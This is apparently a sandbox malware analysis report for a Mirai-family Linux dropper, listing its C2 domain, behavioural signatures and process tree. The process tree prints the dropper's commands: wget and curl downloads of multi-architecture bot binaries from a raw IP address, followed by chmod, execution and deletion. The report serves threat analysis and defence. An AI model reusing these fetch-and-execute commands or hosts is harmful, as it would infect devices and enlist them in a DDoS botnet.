Analysis

  • max time kernel
    149s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    06/08/2026, 11:41

General

  • Target
    2690b9cf6cf4fb68cf7d0d7b6a13793d842304767efdb9632313594a63e18f53
  • Size 4KB
  • Sample260806-ntmavaap2t
  • SHA256 2690b9cf6cf4fb68cf7d0d7b6a13793d842304767efdb9632313594a63e18f53
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • mirai

C2
  • genddos.st

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Custom signature
    Detects suspicious XORed keyword - Mozilla/5.0 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Writes file to system bin folder 6 IoCs
  • Reads process memory 1 TTPs 64 IoCs

    Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/2690b9cf6cf4fb68cf7d0d7b6a13793d842304767efdb9632313594a63e18f53
    /tmp/2690b9cf6cf4fb68cf7d0d7b6a13793d842304767efdb9632313594a63e18f53
    1⤵
    • Executes dropped EXE
    PID:1476
    • /usr/bin/wget
      wget -q "--tries=3" "--timeout=10" -O ohshit.x86 http://166.0.192.57/bachekuni/ohshit.x86
      2⤵
      • Writes file to tmp directory
      PID:1477
    • /usr/bin/curl
      curl -fsSL --connect-timeout 10 -o ohshit.x86 http://166.0.192.57/bachekuni/ohshit.x86
      2⤵
      • Writes file to tmp directory
      PID:1486
    • /bin/chmod
      chmod +x ohshit.x86
      2⤵
      • File and Directory Permissions Modification
      PID:1487
    • /tmp/ohshit.x86
      ./ohshit.x86 Ishowspeed
      2⤵
      • Modifies Watchdog functionality
      • Writes file to system bin folder
      • Reads process memory
      • Reads runtime system information
      PID:1488
    • /bin/rm
      rm -f ohshit.x86
      2⤵
        PID:1492
      • /usr/bin/wget
        wget -q "--tries=3" "--timeout=10" -O ohshit.mips http://166.0.192.57/bachekuni/ohshit.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1493
      • /usr/bin/curl
        curl -fsSL --connect-timeout 10 -o ohshit.mips http://166.0.192.57/bachekuni/ohshit.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:1494
      • /bin/chmod
        chmod +x ohshit.mips
        2⤵
        • File and Directory Permissions Modification
        PID:1535
      • /tmp/ohshit.mips
        ./ohshit.mips Ishowspeed
        2⤵
        • System Network Configuration Discovery
        PID:1536
      • /bin/rm
        rm -f ohshit.mips
        2⤵
        • System Network Configuration Discovery
        PID:1540
      • /usr/bin/wget
        wget -q "--tries=3" "--timeout=10" -O ohshit.arc http://166.0.192.57/bachekuni/ohshit.arc
        2⤵
        • Writes file to tmp directory
        PID:1541
      • /usr/bin/curl
        curl -fsSL --connect-timeout 10 -o ohshit.arc http://166.0.192.57/bachekuni/ohshit.arc
        2⤵
        • Writes file to tmp directory
        PID:1612
      • /bin/chmod
        chmod +x ohshit.arc
        2⤵
        • File and Directory Permissions Modification
        PID:1673
      • /tmp/ohshit.arc
        ./ohshit.arc Ishowspeed
        2⤵
          PID:1674
        • /bin/rm
          rm -f ohshit.arc
          2⤵
            PID:1676
          • /usr/bin/wget
            wget -q "--tries=3" "--timeout=10" -O ohshit.i686 http://166.0.192.57/bachekuni/ohshit.i686
            2⤵
            • Writes file to tmp directory
            PID:1677
          • /usr/bin/curl
            curl -fsSL --connect-timeout 10 -o ohshit.i686 http://166.0.192.57/bachekuni/ohshit.i686
            2⤵
            • Writes file to tmp directory
            PID:1737
          • /bin/chmod
            chmod +x ohshit.i686
            2⤵
            • File and Directory Permissions Modification
            PID:1791
          • /tmp/ohshit.i686
            ./ohshit.i686 Ishowspeed
            2⤵
            • Modifies Watchdog functionality
            • Writes file to system bin folder
            PID:1792
          • /bin/rm
            rm -f ohshit.i686
            2⤵
              PID:1796
            • /usr/bin/wget
              wget -q "--tries=3" "--timeout=10" -O ohshit.x86_64 http://166.0.192.57/bachekuni/ohshit.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1797
            • /usr/bin/curl
              curl -fsSL --connect-timeout 10 -o ohshit.x86_64 http://166.0.192.57/bachekuni/ohshit.x86_64
              2⤵
              • Writes file to tmp directory
              PID:1848
            • /bin/chmod
              chmod +x ohshit.x86_64
              2⤵
              • File and Directory Permissions Modification
              PID:1885
            • /tmp/ohshit.x86_64
              ./ohshit.x86_64 Ishowspeed
              2⤵
              • Modifies Watchdog functionality
              • Writes file to system bin folder
              PID:1886
            • /bin/rm
              rm -f ohshit.x86_64
              2⤵
                PID:1890
              • /usr/bin/wget
                wget -q "--tries=3" "--timeout=10" -O ohshit.mpsl http://166.0.192.57/bachekuni/ohshit.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1891
              • /usr/bin/curl
                curl -fsSL --connect-timeout 10 -o ohshit.mpsl http://166.0.192.57/bachekuni/ohshit.mpsl
                2⤵
                • Writes file to tmp directory
                PID:1892
              • /bin/chmod
                chmod +x ohshit.mpsl
                2⤵
                • File and Directory Permissions Modification
                PID:1893
              • /tmp/ohshit.mpsl
                ./ohshit.mpsl Ishowspeed
                2⤵
                  PID:1894
                • /bin/rm
                  rm -f ohshit.mpsl
                  2⤵
                    PID:1896
                  • /usr/bin/wget
                    wget -q "--tries=3" "--timeout=10" -O ohshit.arm http://166.0.192.57/bachekuni/ohshit.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:1897
                  • /usr/bin/curl
                    curl -fsSL --connect-timeout 10 -o ohshit.arm http://166.0.192.57/bachekuni/ohshit.arm
                    2⤵
                    • Writes file to tmp directory
                    PID:1898
                  • /bin/chmod
                    chmod +x ohshit.arm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1899
                  • /tmp/ohshit.arm
                    ./ohshit.arm Ishowspeed
                    2⤵
                      PID:1900
                    • /bin/rm
                      rm -f ohshit.arm
                      2⤵
                        PID:1902
                      • /usr/bin/wget
                        wget -q "--tries=3" "--timeout=10" -O ohshit.arm5 http://166.0.192.57/bachekuni/ohshit.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1903
                      • /usr/bin/curl
                        curl -fsSL --connect-timeout 10 -o ohshit.arm5 http://166.0.192.57/bachekuni/ohshit.arm5
                        2⤵
                        • Writes file to tmp directory
                        PID:1904
                      • /bin/chmod
                        chmod +x ohshit.arm5
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1905
                      • /tmp/ohshit.arm5
                        ./ohshit.arm5 Ishowspeed
                        2⤵
                          PID:1906
                        • /bin/rm
                          rm -f ohshit.arm5
                          2⤵
                            PID:1908
                          • /usr/bin/wget
                            wget -q "--tries=3" "--timeout=10" -O ohshit.arm6 http://166.0.192.57/bachekuni/ohshit.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1909
                          • /usr/bin/curl
                            curl -fsSL --connect-timeout 10 -o ohshit.arm6 http://166.0.192.57/bachekuni/ohshit.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:1910
                          • /bin/chmod
                            chmod +x ohshit.arm6
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1911
                          • /tmp/ohshit.arm6
                            ./ohshit.arm6 Ishowspeed
                            2⤵
                              PID:1912
                            • /bin/rm
                              rm -f ohshit.arm6
                              2⤵
                                PID:1914
                              • /usr/bin/wget
                                wget -q "--tries=3" "--timeout=10" -O ohshit.arm7 http://166.0.192.57/bachekuni/ohshit.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1915
                              • /usr/bin/curl
                                curl -fsSL --connect-timeout 10 -o ohshit.arm7 http://166.0.192.57/bachekuni/ohshit.arm7
                                2⤵
                                • Writes file to tmp directory
                                PID:1916
                              • /bin/chmod
                                chmod +x ohshit.arm7
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1917
                              • /tmp/ohshit.arm7
                                ./ohshit.arm7 Ishowspeed
                                2⤵
                                  PID:1918
                                • /bin/rm
                                  rm -f ohshit.arm7
                                  2⤵
                                    PID:1920
                                  • /usr/bin/wget
                                    wget -q "--tries=3" "--timeout=10" -O ohshit.ppc http://166.0.192.57/bachekuni/ohshit.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1921
                                  • /usr/bin/curl
                                    curl -fsSL --connect-timeout 10 -o ohshit.ppc http://166.0.192.57/bachekuni/ohshit.ppc
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1922
                                  • /bin/chmod
                                    chmod +x ohshit.ppc
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1923
                                  • /tmp/ohshit.ppc
                                    ./ohshit.ppc Ishowspeed
                                    2⤵
                                      PID:1924
                                    • /bin/rm
                                      rm -f ohshit.ppc
                                      2⤵
                                        PID:1926
                                      • /usr/bin/wget
                                        wget -q "--tries=3" "--timeout=10" -O ohshit.spc http://166.0.192.57/bachekuni/ohshit.spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1927
                                      • /usr/bin/curl
                                        curl -fsSL --connect-timeout 10 -o ohshit.spc http://166.0.192.57/bachekuni/ohshit.spc
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1928
                                      • /bin/chmod
                                        chmod +x ohshit.spc
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1929
                                      • /tmp/ohshit.spc
                                        ./ohshit.spc Ishowspeed
                                        2⤵
                                          PID:1930
                                        • /bin/rm
                                          rm -f ohshit.spc
                                          2⤵
                                            PID:1932
                                          • /usr/bin/wget
                                            wget -q "--tries=3" "--timeout=10" -O ohshit.m68k http://166.0.192.57/bachekuni/ohshit.m68k
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1933
                                          • /usr/bin/curl
                                            curl -fsSL --connect-timeout 10 -o ohshit.m68k http://166.0.192.57/bachekuni/ohshit.m68k
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1934
                                          • /bin/chmod
                                            chmod +x ohshit.m68k
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1935
                                          • /tmp/ohshit.m68k
                                            ./ohshit.m68k Ishowspeed
                                            2⤵
                                              PID:1936
                                            • /bin/rm
                                              rm -f ohshit.m68k
                                              2⤵
                                                PID:1938
                                              • /usr/bin/wget
                                                wget -q "--tries=3" "--timeout=10" -O ohshit.sh4 http://166.0.192.57/bachekuni/ohshit.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1939
                                              • /usr/bin/curl
                                                curl -fsSL --connect-timeout 10 -o ohshit.sh4 http://166.0.192.57/bachekuni/ohshit.sh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1940
                                              • /bin/chmod
                                                chmod +x ohshit.sh4
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1941
                                              • /tmp/ohshit.sh4
                                                ./ohshit.sh4 Ishowspeed
                                                2⤵
                                                  PID:1942
                                                • /bin/rm
                                                  rm -f ohshit.sh4
                                                  2⤵
                                                    PID:1944
                                                  • /bin/rm
                                                    rm -f /tmp/2690b9cf6cf4fb68cf7d0d7b6a13793d842304767efdb9632313594a63e18f53
                                                    2⤵
                                                      PID:1945

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

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                                                        Downloads

                                                        ohshit.x86

                                                        • Path /tmp/ohshit.x86
                                                        • Size 97KB
                                                        • SHA256 fac28f3d0ed1da9effabd03e90ade9cad8fabf25455e29f085fd5cc6633a3bc7
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH